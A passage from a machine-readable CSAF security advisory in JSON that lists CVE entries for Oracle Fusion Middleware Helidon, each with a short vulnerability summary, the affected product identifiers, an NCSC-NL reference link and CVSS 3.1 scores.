"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73915 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73915.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73915"
},
{
"cve": "CVE-2026-73916",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to create, delete, or modify critical data via HTTP, with a CVSS 3.1 base score of 9.1 indicating severe confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73916 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73916.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73916"
},
{
"cve": "CVE-2026-73917",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to create, delete, or modify all Helidon data via HTTP, with a CVSS 3.1 base score of 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73917 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73917.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73917"
},
{
"cve": "CVE-2026-73918",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers to perform unauthorized data modifications, read access, and partial denial of service, with a CVSS 3.1 base score of 7.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73918 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73918.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73918"
},
{
"cve": "CVE-2026-73919",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73919 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73919.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73919"
},
{
"cve": "CVE-2026-73920",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73920 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73920.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73920"
},
{
"cve": "CVE-2026-73921",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware\u0027s Helidon 1.4.20 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability via HTTP.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73921 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73921.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73921"
},
{
"cve": "CVE-2026-73922",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 1.4.19 allows unauthenticated remote attackers to create, delete, or modify critical data via HTTP, with a CVSS 3.1 base score of 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73922 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73922.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73922"
},
{
"cve": "CVE-2026-73923",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 1.4.20 allows unauthenticated network attackers via HTTP to perform unauthorized data update, insert, or delete operations, with a CVSS 3.1 base score of 3.7 indicating low to moderate integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73923 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73923.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 3.7,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73923"
},
{
"cve": "CVE-2026-73924",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 1.4.19 allows unauthenticated remote attackers to create, delete, or modify critical data via HTTP, with a CVSS 3.1 base score of 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73924 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73924.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73924"
},
{
"cve": "CVE-2026-73925",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 1.4.19 allows unauthenticated HTTP attackers to gain unauthorized access and manipulate Helidon data, with a CVSS 3.1 base score of 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73925 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73925.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73925"
},
{
"cve": "CVE-2026-73927",
"notes": [
{
"category": "description",
"text": "A denial of service vulnerability in Oracle Fusion Middleware Helidon 3.2.20 allows unauthenticated attackers with HTTP network access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73927 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73927.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73927"
},
{
"cve": "CVE-2026-73928",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated HTTP attackers to perform unauthorized data read, update, insert, or delete actions, with a CVSS 3.1 base score of 7.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73928 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73928.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73928"
},
{
"cve": "CVE-2026-73929",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, read access, and partial denial of service, rated CVSS 3.1 score 8.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73929 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73929.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73929"
},
{
"cve": "CVE-2026-73930",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated network vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows HTTP-based exploitation leading to unauthorized data access, modification, deletion, and partial denial of service, rated CVSS 3.1 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73930 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73930.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73930"
},
{
"cve": "CVE-2026-73931",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, read access, and partial denial of service, rated CVSS 3.1 score 8.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73931 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73931.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73931"
},
{
"cve": "CVE-2026-73932",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated remote attackers to cause a partial denial of service via HTTP, with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73932 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73932.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73932"
},
{
"cve": "CVE-2026-73933",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.3 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, read access, and partial denial of service, rated CVSS 7.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73933 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73933.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73933"
},
{
"cve": "CVE-2026-73934",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers to cause denial of service via HTTP/2, with a CVSS 3.1 base score of 7.5 due to its impact on system availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73934 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73934.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73934"
},
{
"cve": "CVE-2026-73935",
"notes": [
{
"category": "description",
